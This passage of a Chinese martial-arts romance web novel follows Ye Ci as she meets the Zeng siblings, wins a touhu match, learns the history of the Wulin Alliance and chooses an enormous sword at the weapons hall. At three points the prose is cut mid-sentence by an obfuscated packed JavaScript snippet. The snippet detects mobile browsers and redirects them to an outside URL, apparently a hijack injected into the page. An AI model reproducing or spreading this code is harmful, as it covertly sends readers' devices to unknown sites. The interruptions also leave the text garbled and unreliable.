赵渊朗声说道:“多亏了孟兄介绍的方士,我才能有这么好的儿媳。慈儿,快见过孟伯伯。” 想必这便是武林盟主孟临了,叶慈冲他行了礼,偷偷抬眼打量,却觉得这人似乎看起来不过是寻常的中年男人,相貌平平,周身气度也并不过人,要是扔到人堆儿里,别人大概看都不会多看一眼,与她想象中叱咤风云的武林盟主大相径庭。 孟临抬手示意她不必多礼,叶慈便起身,坐到了赵明予身旁地座位上。 “轼流的病可好些了?”孟临关切地问。 赵渊轻轻叹了口气:“并未好全,但似乎也有好转了。” “有用便好,有用便好……” 二人又寒暄了几句,孟临便借口离开,赵渊也跟着出去送客。 四个小辈纷纷见礼送行,但叶慈不知是不是自己的错觉,总觉得孟临的眼神有意无意地总是往自己这边飘,似乎对她额头红痣尤为在意。 难不成这人觉得他找的方士算的不准,反而怀疑自己额上的红痣是假的? 叶慈心中疑惑,面上却不露声色,将二人送出了屋子,又被赵明予兴冲冲地拽回来。 “娘子娘子,我给你介绍两个新朋友!” 叶慈这才得空看向方才坐在对面的这一男一女,男的一袭碧蓝长衫,很是风流倜傥;女的则着桃红轻纱,乌发分了两层,上层扎了双髻,下层则随意地披着,似乎是城中流行的样式。 这两人眉眼间有几分相似,尤其是眼睛,虽都长了一双桃花眼,但神态却大不相同,男的风流多情,眉眼间似乎有几分病弱之气,女的天真俏皮,眼角眉梢都昭示着此人的兴致勃勃。 而这两人,此刻正都饶有兴趣地看着叶慈。 14. 第十四章 “这便是弟妹了吧?”蓝衫男子率先开口道,“在下武林盟兵器堂堂主曾安礼,初次见面,幸会。” 兵器堂曾家,叶慈从前不解世事都对曾家有所耳闻,如今入了侯府,兵器堂曾家的大名更是如雷贯耳。 她由衷地道:“久闻大名,曾公子,幸会。” “还有我还有我,姐姐,你真漂亮!”一旁的粉衣女子见二人寒暄起来,也不甘寂寞,硬是凑到叶慈跟前。 “这是舍妹念薇,自小便活泼,见了漂亮女孩子就叫姐姐,弟妹见笑了。”曾安礼年纪不大,却举手投足间都颇为老成,很有少年家主的风范。 叶慈笑笑:“不打紧,我们本也不是什么正经夫妻,曾妹妹就叫我姐姐吧,听着也顺耳。” 曾安礼唇角微勾,笑得很是如沐春风:“那我也不便以弟妹相称了,便叫叶姑娘吧。” “好。”叶慈自然从善如流。 自入了侯府,她身上那些乡野习惯几乎尽数消失了,近些时日被禁足,皮肤也白了不少,加上她容貌姝丽,此刻穿着贵族小姐的衣裳也并不违和,曾安礼拿着折扇轻晃,站在她身旁,比赵明予与她更像一对璧人。 曾念薇年纪小,从小被哥哥宠着长大,从来都是有话直说,见了这景象,心直口快地说:“叶姐姐穿今日穿了蓝色,我哥哥也穿了蓝色,倒好像你俩才是一对儿似的。” 她说完,眼神在叶慈与曾安礼之间逡巡片刻,好像再次确认了自己的结论似的,笃定地点了点头。 赵明予闻言,剧烈地咳嗽起来,一个闪身站到叶慈身前,将她挡了个严严实实:“娘子是我的娘子!” “叶姑娘,轼流,念薇不懂事,胡言乱语的,你们别当真。”他冲叶赵二人作揖致歉,有瞪了一眼曾念薇,“念薇,不得胡言!” 曾念薇冲他吐舌头做了个鬼脸,看得叶慈失笑,她自如侯府以来已经许久没见过如此鲜活的同龄人了,看得出来,定是自小便怒骂皆自由,让人忍不住喜欢,便为她说了句话:“曾姑娘年纪小,想必也没有恶意,曾公子就别骂她了。” “就是就是!”曾念薇听叶慈为她辩解,亲切地一把拉住她的手,“好姐姐,你别叫我曾姑娘了,听着怪生疏的,叫我念薇吧!” “好,念薇。”叶慈也冲她笑笑。 赵明予看着二人,心中再次警铃大作,强行插在两人中间:“娘子,安礼哥,念薇姐姐,不如我们去玩投壶吧!” “好呀好呀!”曾念薇兴奋地答应,挽起叶慈的胳膊,“叶姐姐我们走!” 赵明予:“……娘子等等我!” 曾安礼看着面前三人,摇了摇扇子,失笑跟上。 曾念薇和叶慈走在前面,叽叽喳喳说个不停,赵明予则可怜巴巴跟在后面,曾安礼摇摇扇子,走到他身边:“念薇在府中也没个同龄朋友能说话,这会儿见了叶姑娘,看着亲切,话就多了些。” 曾念薇边挽着叶慈的胳膊,边对着她左看右看地端详:“叶姐姐眉间这颗痣,当真和庙里观音娘娘的塑像一模一样,外面传的果然没错,叶姐姐你当真是天生菩萨相!” “哪有那么夸张……”叶慈很少被这么直白地夸奖,有些不好意思,但嘴角还是不受控制地翘了起来。 赵明予:“……” 他觉得自己正牌夫君的地位岌岌可危。 “不过念薇,你今年多大了,小石榴怎么叫你姐姐?” “嗐,”曾念薇摆摆手,“我十六,我哥十八,如果没记错的话,明予哥哥应该已经十九了,不过听我哥说,明予哥是十三那年家里出了事,受了刺|激,所以一直觉得自己只有十三岁,所以他虽然是我们三人中年级最大的,却一直叫我们哥哥姐姐,但我总不能睁着眼睛说瞎话吧,所以还是喊他一声哥哥,这么多年都习惯了。” “你们从小就一起长大吗?”叶慈问。 曾念薇摇摇头:“也不是。” 她悄悄回头看了一眼曾安礼,见对方在与赵明予交谈,才压低声音说:“我爹去得早,我是遗腹子,我爹没的时候,我哥哥也才一岁,那时候兵器堂乱了一阵儿,我家也跟着动荡了一阵儿,是后来赵伯伯出手才稳住了局势,命盟主孟临暂领兵器堂,直到我哥十六岁,才让我们曾家重掌兵器堂,因此我哥才总是带我来拜访赵伯伯,一来二去的,和明予哥哥也熟络了。” 叶慈若有所思地点点头:“你哥十六岁便当上了堂主,如今也才十八,我在坊间从未听过对兵器堂的诋毁之语,听到的全是赞美之声,说明你哥这个堂主当得定是称职。” 曾念薇骄傲地点点头:“那是当然,叶姐姐,你别看我哥平时对别人和和气气的,好像没脾气一样,要真遇着事了,他那样子……连我都害怕!” 她说完打了个寒战,煞有介事似的:“大概就是两年前吧,那会儿我哥刚继任堂主,好多人觉得他年纪小,不服他,就动不动给他找麻烦。当时堂中一个很有资历的铸剑师被那些人煽动着,说自己不愿听黄口小儿调遣,这兵器堂,有他没我哥,有我哥没他。” “我当时还想着,兵器堂是我们曾家一手建立的,这天下铸铁术,我曾家自称第二,定没人敢称第一,曾家肯让这些江湖铸剑师入堂学我曾家技艺,怎么算不上慷慨,但这人竟然不仅不懂得感恩,还反咬我哥一口,说他无才无德,不配当堂主。” 曾念薇说书人一般顿了顿,像是想吊一吊叶慈的胃口,才继续说:“你猜我哥怎么是怎么做的?” “他一早查明白了那些造反者的名单,向赵伯伯借了兵,将他们围住以后全都杀了。不仅如此,他将那些被煽动的工匠也都聚在一处,问还有哪些人不服曾家,大部分人看着那么些尸体都怕了,那个带头造反的老铸剑师也是。” “我当时想着,既然大家都认错了,那便放他们一条生路。可我哥不是,我哥还是杀了那个带头的,其余人全挑断了手筋,赶出了武林盟。他当时是这么说的:‘兵器堂不是曾家的一言堂,愿意吸纳天下英才,但是兵器堂是属于曾家的,所以但凡不满曾家却又学了我曾家技艺的,便将技艺留下,人走。’” 曾念薇说完摸摸自己的手臂:“叶姐姐你不知道,我当时都吓死了,我从没见过我哥那个样子。结果后来我哥处理完那档子事,立马转过头来摸摸我的头,叫我别怕,说他永远都是我哥哥。” “真不知道哪一面才是我哥的真面目。”她小声嘟囔。 “或许哪一面都是。”叶慈说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15174377|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人的气质是做不得假的,叶慈觉得她与曾安礼交谈时他的如沐春风是真的,但他骨子里是有狠劲的。毕竟骨子里没有那一分狠厉的人,是走不到如今这个位置的。 “一堂之主万众瞩目,你哥年纪轻轻就能做到这个位置,想必肩上的担子不小,你也要多体谅他。”叶慈柔声说。 “呜呜叶姐姐你真好!”曾念薇愣了一下,立马将叶慈的手臂抱得更紧了,“你要是我嫂子就好了!” 叶慈身子僵了一下,她轻轻打了一下曾念薇的手:“胡说什么,我都成亲了。” 说着众人便到了后花园,叶慈看向曾念薇口中那个“遇着事了便杀伐果决”的曾安礼,那人正摇着扇子低头检查投壶用的羽箭,一副翩翩佳公子的模样,根本想象不出曾念薇口中弹指间取人性命的堂主和眼前的蓝衣公子是一个人。 曾安礼与她对上视线,眼中似有笑意。 “曾公子笑什么?”叶慈问。 曾安礼却笑而不语,掷出一直羽箭,稳稳当当地落在了壶中。 “你不怕我?”他问。 “你都听到了。”叶慈说的不是疑问句,而是陈述句。 曾安礼不置可否,又拿出一支箭,做投掷的姿势。 不知怎么的,叶慈觉得,他好像很孤独。 她站在旁边的箭篓前,也从中取出一支,瞄准,投掷,也稳稳落入壶中。 曾安礼颇为意外地挑挑眉:“叶姑娘竟有这般准头。” 叶慈也学着他挑挑眉:“不如来比试比试。” “好啊。”曾安礼“唰”一下收起折扇,“叶姑娘要是输了,可别说我欺负人。” “我可没那么小气。” “哥,你要和叶姐姐比投壶吗?”曾念薇不知什么时候凑了过来,见状把赵明予也喊过来凑热闹,“明予哥哥快来,我哥和叶姐姐要比投壶了!” “安礼哥可别欺负我娘子!”赵明予颇为担忧地说。 曾安礼苦笑一声:“你娘子不欺负我就不错了。” “干比赛没意思,曾公子可有什么彩头?”叶慈问。 曾安礼沉吟片刻,问:“不知叶姑娘可会武?” 叶慈想到窗前练剑的赵明予,不知怎么有些心虚,说:“算是会一些吧。” “若叶姑娘你赢了,便可来兵器堂随意挑选一件兵器,如何?” “一言为定!”叶慈道,“可我似乎没什么之前的东西能给曾公子,不知曾公子可有什么想要的?” 曾安礼温润笑道:“我怎可开口向弟妹要东西,不如便先欠着吧,就当弟妹欠我个人情,如何?” 叶慈爽朗一笑:“也好。” 二人面前各有一个箭篓,篓中各有八箭,两人已经各投中一支,还各有七支,曾念薇和赵明予分别站在曾安礼和叶慈旁边,为他们加油鼓劲。 “哥,快把叶姐姐抢过来当嫂子啊!”曾念薇恨铁不成钢道。 曾安礼闻言手一抖,掷偏了。 “娘子是我的!”赵明予从后面抱住叶慈的腰,将下巴搭在她的肩上。 叶慈肩膀猛地被压了一下,也掷偏了。 叶慈、曾安礼:“……你们两个噤声!” 15. 第十五章 两人掷了两箭,仍是平手,曾念薇和赵明予被勒令噤声,便各自抿着嘴在二人身旁发出怪声为他们加油。 接下来的五箭,二人又各自投中了,于是八箭已出七箭,仍是平手。 “这可难办了。”曾念薇挠挠头,“要是平局可怎么办?” “不会平局的。”曾安礼道。 “为何不会?”叶慈问,率先投出最后一箭。 她已摸清了规律,因此即便只是随手一掷也投中了。 曾安礼一笑,却没有回答,紧跟着投出一箭,只是这一箭却投偏了。 “太好咯!”赵明予欢呼。 “哥!”曾念薇如丧考妣,“你怎么在关键时候手抖了!” 曾安礼朝叶慈拱拱手:“叶姑娘技艺高超,在下自愧不如,来日定将神兵奉上,还望不弃。” “曾公子。”叶慈语气却有些不悦,“你这算什么,看不起我?” 她这话说得语气严厉,倒是让曾安礼一时慌了神:“叶姑娘怎么会这样想,是在下技不如人……” 叶慈却不等他把话说完就挥挥手:“你当我不谙世事好骗得很,我却是真的尊重你,将你当作对手。或许曾公子并不将我这后宅之内无知妇人的一个承诺当回事,但我既然已经许诺了,就绝不食言。” “你的兵器,我不会要,但这一诺,算我欠你的。他日曾公子若是开口,我叶慈即便只有微薄之力,也定当全力以赴。”叶慈冷着脸说完,便不再看曾安礼。 “哥!”曾念薇用胳膊肘撞撞曾安礼,又跑到叶慈身边,“叶姐姐别生气啦,我哥这个人一贯自诩君子,其实是大男子主义惯了,自然不会逞一时之快非要与女子争输赢的,他并非看不起你,你别见怪!” 曾安礼温润公子的名声在外,茌宁城中对他芳心暗许的女子不知凡几,他到各家府上做客时,每每故意投壶输给那家小姐,都会惹得姑娘又羞又恼,像叶慈这般纯生气的,他还从未见过,一时竟然有些不知所措起来。 “明予哥哥,你快来劝劝叶姐姐啊!”曾念薇使劲儿地朝赵明予使眼色,赵明予才敛了看好戏的神色。 “咳咳,娘子,你不喜欢他投壶让着你,你就别和他玩了,和我玩,我不让着你!” 叶慈、曾念薇、曾安礼:“……” 叶慈噗嗤一笑:“好了,我不气了。” 她说罢,又朝曾安礼说:“曾公子,这局投壶虽然胜负未定,但论气度,我不如你,因此说话算话,算我欠你一个人情。” 曾安礼拱了拱手:“叶姑娘坦荡立世,是我不如,他日定邀请叶姑娘来我府上挑选兵器。” 曾念薇见两人总算和好,松了口气,闻言又道:“择日不如撞日,干脆就今天好了,这兵器也算我一份儿,当我给也姐姐的见面礼。” 她说完拉起叶慈的手:“叶姐姐,我刚见你只觉得亲切,却没想到你竟如此有脾气,你这个朋友,我曾念薇算是教定了!” 她扭头对赵明予道:“明予哥哥,你可不许欺负我姐姐,否则我随时把姐姐抢去给我当嫂子!” “那是当然了。”赵明予道。 曾安礼闻言弹了她一个脑瓜崩:“功夫是一点儿不会,还好意思说要抢别人的娘子。” 天色尚早,赵明予好不容易央求仇嬷嬷解了她的禁足,今日又恰逢曾家兄妹造访,叶慈便欣然答应了曾念薇的邀请。 方出了府,叶慈便被府外街上的繁华景象惊了一跳。 上次见识茌宁城的白天已经是一个多月前了,此刻彻底入了夏,街边多了些卖食的商贩,路上的游人也几乎都换上了纱衣,似乎比一月前更加热闹。 “娘子一月未出府了,今日不如好好逛逛?”赵明予道。 叶慈还未来得及回答,曾念薇便抢着说:“那自然是好!叶姐姐,你有什么想吃的想要的都告诉我,我让我哥给你买!对了,茌原灯会快到了,最近街上比原来热闹多了,肯定很好玩!” 赵明予一把将叶慈拉回来:“我娘子想要什么自有我给她买,不劳烦你兄长。” 叶慈见两人小孩似的,既觉得可爱又无可奈何,便转移话题道:“茌原灯会?是什么节日吗?” 赵明予掰着指头数了数:“还有十日就是茌原灯会了,娘子,到时候我带你来玩,好不好?” 曾念薇敲了敲他的头:“笨!叶姐姐是问你茌原灯会的来由,而不是日子,对吧,叶姐姐?” 叶慈笑道:“都问了,都问了。” “好了念薇,别闹轼流和叶姑娘了。”曾安礼说完,又朝叶慈解释道,“叶姑娘或许是刚来茌宁,不太了解,我们茌宁每年除了新年以外最重要的节日,便是茌原灯会了。” “茌原……和茌宁有什么联系吗?”叶慈问。 曾安礼点点头:“茌宁其实原本就叫茌原,太祖皇帝建国后,大允一直受外族侵扰,于是便亲自披挂上阵,屡战屡胜,直到茌原一战时,一时不查,被楚狄族设计,竟然全军覆没。那时朝野大为震动,各位阁老甚至开始拟定下一任继承人,太祖皇帝却再次奇迹般地出现在了茌原城内。” “原来那日兵败,太祖皇帝几乎丧命,幸好有一不知名的隐世老者神兵天降,将他从战场上救了出来,一直在茌原休养生息。朝廷闻讯立刻派兵支援,半月后援军到了,老者却不辞而别。于是太祖皇帝再次挂帅上了前线,但那时的大允刚稳定不久,因长时间战乱粮草也不足,我朝残兵对上楚狄精兵,眼见又要败了,那老者却再次出现,剑法诡谲,直接将楚狄族大王击败剑下,太祖皇帝欲问性命,老者却事了拂衣去,只在地上留下了一个‘离’字。” 叶慈在心中暗暗吐槽这个太祖皇帝还真是没用,两战两败,还要靠人家世外高人出山来救,嘴上却问:“原来如此,那老者后来可有踪迹?” 曾安礼摇摇头:“并无。太祖皇帝一直派人寻找,但那位高人却从不现身,直到数十年后,竟以飞刀掷入御书房,上附一字条:‘切莫来寻’,后落款一个‘离’字。朝臣纷纷猜测是皇上扰了高人清静,太祖皇帝便从此以后再未试图寻找过这位姓离的前辈,只是协助江湖侠客成立武林盟,并设武安侯,辖管武林盟的同时也使江湖与庙堂得以联通。武林盟中若有愿做官者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15186630|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也可通过一年一度的比武大会以武取仕,也算是另辟蹊径,被江湖人称为‘武科举’。” 叶慈听完感叹道:“原来还有这样一番渊源,也不知这位前辈能不能想得到自己当年的救国之举,竟会演变成如今的武科举。” “不过我听爹说,那位离姓的高人在江湖中也并非全无踪迹。”赵明予说道。 “……是。”曾安礼脸色稍变,说道,“据说上任武林盟主的剑法,便是由一位姓离的侠客传授的。” “也不知道这姓离的被什么鬼迷了心窍,竟收了这样一个人渣当徒弟。”曾念薇闻言,啐了一口,骂道。 “念薇。”曾安礼制止了妹妹,“阮流逸欺世盗名,如此一个虚伪之人,当年骗过了天下所有江湖人,离前辈被他蒙骗也不奇怪。” 叶慈听他们说话,似乎对这位前任武林盟主阮流逸很是憎恨,有些摸不着头脑,便问:“这位前任武林盟主是做了什么伤天害理的事情吗,为何说起他,大家便如此深恶痛绝?” 曾安礼握起拳头又松开,末了才说:“实不相瞒,我和念薇与这阮流逸之间,有弑父之仇。” “抱歉曾公子,我不知道……” “没事。”曾安礼冲她挤出一抹笑容,“家父去时,我才一岁,那夜阮贼练功时走火入魔,杀性大发,一言不合便杀了于他有恩的老武安侯,之后竟屠戮全府,武安侯府上下无一幸免,连自己刚出世的孩子和刚生产完的妻子也不放过,真是泯灭人性!而家父不过恰好路过,便也被他……好在赵伯伯当机立断,不顾永失家人之痛,带兵追查,在玄召崖顶将他击杀,尸骨无存。” “这阮流逸这么罪大恶极,难道他当盟主的时候,就没露出一点儿破绽?”叶慈问。 曾安礼沉思片刻,答道:“我曾听过一些流言,说他学剑一心求胜,心性张扬乖戾,因此走火入魔,也不奇怪。而且当时阮流逸身旁有许多人仰慕他的剑法,即便知道他品行不端也不在乎,反而为其遮掩,所以旁人不知道,应当也是正常的。” “这些人可都被赶尽杀绝了?” 曾安礼点点头:“阮流逸生前爱穿白衣,这些仰慕他的人便效仿他穿白衣,因此这些在他死后继续为祸江湖的人便被成为‘白衣党’,这些年,武林盟和武安侯府都一直在追查这些人的行踪,已经解决得差不多了。” “不过也有例外。”曾念薇补充道,“比如那个号称‘神医’,从前医堂中不世出的天才越千山,现在不仍然在江湖上时不时出现吗?” “这只是少数。”曾安礼道,“再说了,伤人不伤医者,这是江湖上不成文的规定,他身为医者,不会武功,即便与武林盟道不同,也不至于害人。” 不知为何,叶慈听了,觉得有些怪异,但她并未细想,只是柔声说:“曾公子,念薇,节哀,你们遭逢此难,便是把人生中所有的劫数都渡完了,此后人生定会顺遂的。” “借叶姑娘吉言了。”曾安礼道,“今日高兴,我们不谈这些扫兴的,说些高兴的。” 叶慈点点头,几人又聊起别的,说说笑笑中,不知不觉便到了武林盟。 16. 第十六章 武林盟大门恢弘气派,上书太祖皇帝亲题的“武林盟”三个大字,金碧辉煌的,丝毫不比皇帝亲封的武安侯府差,不仅如此,武安侯府仅有五进,武林盟却整整占了三个山头。 曾安礼见叶慈似乎对武林盟不甚了解又颇为好奇,便为她介绍道:“武林盟由三个堂组成,分别是兵器堂、药堂、武堂,收罗天下人才,江湖中人都为能在武林盟中占有一席之地为荣。” 他颇为谦虚地道:“说来惭愧,这三堂中只有兵器堂为世家,其他二堂的堂主都是能者居之,江湖中各个门派的弟子若想入盟,皆可来尝试,通过入盟测试者,便可正式加入我武林盟,而统领众人的盟主,则一般都是门派精英才有资格争一争这个席位。” “哥,有什么好谦虚的。”曾念薇插嘴道,“兵器堂一直由曾家主持,还不是因为论起铸造兵器,这世上没人能比得过我曾家。” 赵明予像是跟她杠上了:“若非曾家有传说中的神兵图纸,怎么会名扬天下,继而被推举执掌兵器堂?” “哼!明予哥哥,传说是传说,若真有传说中图纸,我哥早就把神兵造出来了,如今我哥能稳坐堂主,靠的可不是那张莫须有的图纸!”曾念薇抬起头,用鼻孔看着赵明予,“你说对不对啊?” “好了念薇,怀璧其罪,这种事还是不要宣扬为好。”曾安礼道,“你也别总是以此为傲,我们曾家既然执掌兵器堂,自然不能在技艺上被别人超过了去,还是要勤学苦练为……咳咳咳……” 他话没说完,竟突然剧烈地咳嗽了起来。 曾念薇连忙上前扶住他,大叫道:“哥!你没事吧!哎呀都怪我,不该气你的,你今日说了太多话了……” 赵明予也关切地凑上去:“安礼哥,你不舒服吗?” 叶慈也吓了一跳,问道:“这是怎么了?曾公子身体抱恙?” 曾安礼咳了一阵,拍拍胸口,好容易才把气喘匀,说:“不碍事,歇会儿就好了……” 曾念薇解释道:“叶姐姐你别见怪,我哥他从小就身体不好,有时说多了话就会咳嗽,甚至喘不过气,因此也一直无法习武,唉,真是可惜……” “可惜什么。”曾安礼难得嗔怪地看她一眼,“我不能习武,你身体好好的,为何不学,就是平日里把你惯得太懒散了……” “哥……”曾念薇又抱起他的手臂撒娇,“有你在呢,我何必去受那种罪。” 曾安礼深深地叹了口气:“哥哥也是希望你将来若遇到危险,能有自保之力。” 曾念薇笑嘻嘻地撒娇:“我相信哥哥会保护好我的。” 因为曾安礼突然咳疾发作,四人改变了路线,原本可走较陡的山路直接上山入兵器堂,如今则改走较平缓的路线,会路过药堂,再入兵器堂,恰好可以请药堂的人帮忙开几服药。 “今日曾公子身体不适,不如我们改日再来叨扰?”叶慈怕曾安礼收了劳累,病得更严重,便提议道。 曾安礼却坚持道:“不碍事的,在下早就习惯了,叶姑娘已走到这里,若不嫌麻烦,便随我上山吧。” 他这样说,叶慈也不好再说什么,便跟着上了山。 武林盟背靠石麟山脉,山脉中共有三座较大的山峰,分别由武林盟中的兵器堂、药堂、武堂占据,药堂所在的名为神农峰,因着采矿方便,兵器堂便占据深处的煌刀峰,而在两峰背后,最高最显眼的则是武堂的玄召峰。 “那个前任武林盟主阮流逸,便是在玄召峰上被侯爷杀死的?”叶慈听到熟悉的名字,问道。 曾念薇答道:“对,玄召峰上有玄召崖,只是阮流逸在崖上被杀以后,大家为了雪恨,现在大都叫玄召崖为‘伏诛崖’。” 叶慈点点头,没有言语。 曾安礼似乎与药堂中一位老大夫相熟,他进了门便径直朝那人走过去。 “严伯伯。” 严大夫看见来人,也招呼道:“今天又咳了?” 曾念薇凑上去:“是啊是啊!我哥今天突然咳得好厉害!” 曾安礼坐下,将手腕伸出来,严大夫只略略一把,便好似心中有数似的捋了捋白花花的胡子:“倒是并未加重,应当是今日受了风,又有些劳累。” 他说完,转身进了屋子,半晌便走出来,手中拿着一个瓷瓶。 “近三日每日一粒,便可缓解。” “多谢严伯伯。”曾安礼道。 “不必言谢,我与你父亲是故友,自当多照顾你,唉……”他说着,又陷入了回忆似的,目光逐渐远了,也不知道在看哪。 曾家兄妹又与他寒暄了几句,这才离开。 四人到煌刀峰时,日头已经西斜,曾安礼领着叶慈和赵明予,来到了兵器库。 兵器堂中并非所有人都像曾家兄妹一般不擅武功,相反,许多人因着对各种兵器的了解,武学造诣甚至不输武堂的好手,这也是有些人不满曾安礼的原因之一——武林盟以武论输赢,而兵器堂却由一个手无缚鸡之力的病秧子代领,确实有些说不过去。 而这些武功好的铸剑师,大多会在学习研究铸造之余,被派以巡护的任务,曾安礼在其中挑选了一些心腹,作为兵器库的守卫。 所有人进入兵器库都要经过检查,连堂主和他的亲人朋友也不例外,四人通过检查后,才得以入库。 “请跟我来。”曾安礼进去之后,便领着叶慈往最里面的房间去,一边走一边介绍道,“这两侧的兵器都是由各家工匠以各自的独有法门铸造而成的。” 叶慈一一看过去,只觉得琳琅满目,剑戟钩叉,无奇不有,其中还有很多见都没见过的兵器,曾安礼见她好奇,便为她一一介绍过去。 峨眉刺、判官笔,甚至亢龙锏、佩伞,叶慈第一次知道,原来这世上万物皆可为武器,而伤人的招式更是千变万化,她越看越觉出自己从前的狭隘,听得有些入了神。 曾安礼见她出神的模样,嘴角漾出几分笑意:“叶姑娘想听,我便多与你讲些,但当务之急,还是先让在下履行自己的诺言吧。” 他们终于来到最深处的那扇门前。 “这里面的兵器全部由曾家工匠用曾家的独有法门铸造,至于是什么,叶姑娘若常来兵器堂做客,或许有机会一见。”他难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188853|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得俏皮地冲叶慈眨眨眼。 赵明予又火速插在两人中间:“不必了,我娘子忙得很。” 大门打开,叶慈刚踏进内屋一步,便觉得一阵森森冷气顺着背脊爬了上来,那是数百件兵器所散发出的凛凛杀气。 她下意识退后半步,曾安礼却像是很习惯一般走了进去,在其中逡巡片刻,拿起一把闪着寒光的轻剑,对叶慈道:“叶姑娘可喜欢这把轻剑?” 叶慈走进去看,那剑身薄如蝉翼,发丝触之即断,她接过去在手上掂量了一下,踌躇道:“似乎……太轻了,总觉得使不上力。” 曾安礼愣了一下,颇为意外道:“叶姑娘果然与寻常女子不同,这轻剑最适合女子使用,轻灵却变幻莫测,当真不喜欢吗?” 叶慈摇摇头。 曾安礼又选了另一把短剑:“这把呢?” 叶慈还没回到,赵明予却抢先道:“我娘子学的剑法不适合用短剑。” 曾安礼的眼神在二人之间徘徊片刻,像是意识到了什么,转身从架子上拿下一把长剑:“这把‘轻容’,重量适中,是我曾家的得意之作,叶姑娘试试?” 叶慈接过,看那剑身看似温和,其下却隐隐有冷光,昭示着它的锋利。她拿在手中舞动了几下,不知怎么的,却始终觉得不得劲。 她摇了摇头,将剑交还过去。 “这……”曾安礼这下犯了难,“不如叶姑娘自己选选看,有没有用起来趁手的?” 叶慈的目光扫过粼粼冷光,忽然眼前一亮,她走到一把被单独拎出来随意放在墙边的重剑前,将手放到了剑柄上。 “叶姑娘,”曾安礼笑道,“这‘千钧’剑剑如其名,你大概是拿不动……” 他话没说完,叶慈已经单手将千钧剑举了起来。 “的……”曾安礼呆滞在原地,不可思议地看着叶慈。 “这千钧剑,你……这么轻而易举地就拿起来了?”他不可思议地走到叶慈身前,若非还端着君子风度,大概就要围着叶慈转两圈,看看她是不是被妖怪夺舍了。 叶慈将剑掂了掂:“这也不沉啊?” 曾念薇也瞠目结舌地凑上来,下巴拉得比鼻子还长:“叶姐姐,这千钧剑可是三个工匠一起来才能抬动的,你怎么自己一个人就,就……” “是啊。”曾安礼也附和道,“这把剑其实是新手铸剑师失误铸成的,不小心造得太沉,没人能用,原打算过几天就送去熔了的,你要不还是换一把吧……” 叶慈轻松抡了抡:“不用,就这把吧。” 赵明予抚掌叹道:“不愧是我娘子,真是天生怪力啊!” 三人围着叶慈惊叹了半天,曾安礼才终于想起正事:“轼流,叶姑娘,我看天色已晚,不如留在兵器堂用了饭,我再遣人送你们下山?” “倒是也好。”叶慈道。 离开兵器库前,曾安礼忍不住又问了一句:“叶姑娘真不考虑换一把了?” 叶慈失笑:“真不用,我觉得这把最趁手。” 曾安礼:“……那好,若是哪天不喜欢了,再来找我,我领你换一把。” 17. 第十七章 众人对叶慈这一身蛮力的惊叹一直持续到餐桌上。 兵器堂毕竟地处深山,吃食不如城里精致,但叶慈从前就住在山里,倒是反而对这些粗粮野菜更熟悉,而兵器堂的饭菜因着是招待客人的,还比寻常山野饭菜更精致些。 “叶姐姐,你是天生力气就这么大,还是练出来的啊?”曾念薇刚坐下,就凑过来问。 “嗯……”叶慈嘴里塞了口菜,咀嚼完咽下去才回答道,“我也不知道,我从小跟着师父,经常帮他劈柴干活,不知道是不是这么练出来的。” “师父?”曾念薇一双杏眼睁得圆圆的,煞是可爱,“叶姐姐原来有师父,怕不是什么隐士高人吧?” 叶慈扑哧一声笑了出来:“说是师父,其实是是收养我的好心人,将我照顾长大,也教我劈柴干活,也不是什么隐士高人,只是住在山里面的樵夫罢了。” 从前和乔二一起生活时,他只准叶慈叫他“二叔”,不准她叫他“师父”,叶慈虽不懂其中缘由,但也不会刻意和乔二对着干,因此虽然心中早就把他当成师父,嘴上还是以“二叔”称呼。 但现在乔二不在身边……叶慈想,她便任性一把,在人前说他是她师父,也不会怎么样吧? 曾念薇若有所思:“会不会你师父其实是个什么世外高人,只是不愿意让别人知道?” 叶慈笑得更厉害了:“不可能的,我师父就是个再普通不过樵夫,若非说有什么与别人不同,大概就是力气特别大,劈柴劈得又快又好吧?” 曾念薇似乎还想问什么,却被曾安礼打断了:“好了念薇,别打扰叶姑娘吃饭。” 曾念薇噘着嘴,气鼓鼓地看了眼兄长,终于老实吃饭去了。 “叶姑娘,尝尝这个。”曾安礼夹了块鱼肉,放到叶慈碗里,却与另一双筷子碰到了一起。 “娘子,这鸡肉鲜美,你尝尝。” 曾安礼抬头,正对上赵明予略为不满的目光,似乎在说:“别人的娘子,何须你来照顾?” 他仿佛被烫了一下似的收回目光,再不敢看叶慈,道:“是在下逾矩了。” 叶慈却笑了一下,她尝了一口碗中鱼肉,又尝了一口鸡肉,说:“这山中的野味,果然比城中的要鲜美,真好吃,多谢曾公子款待了。” 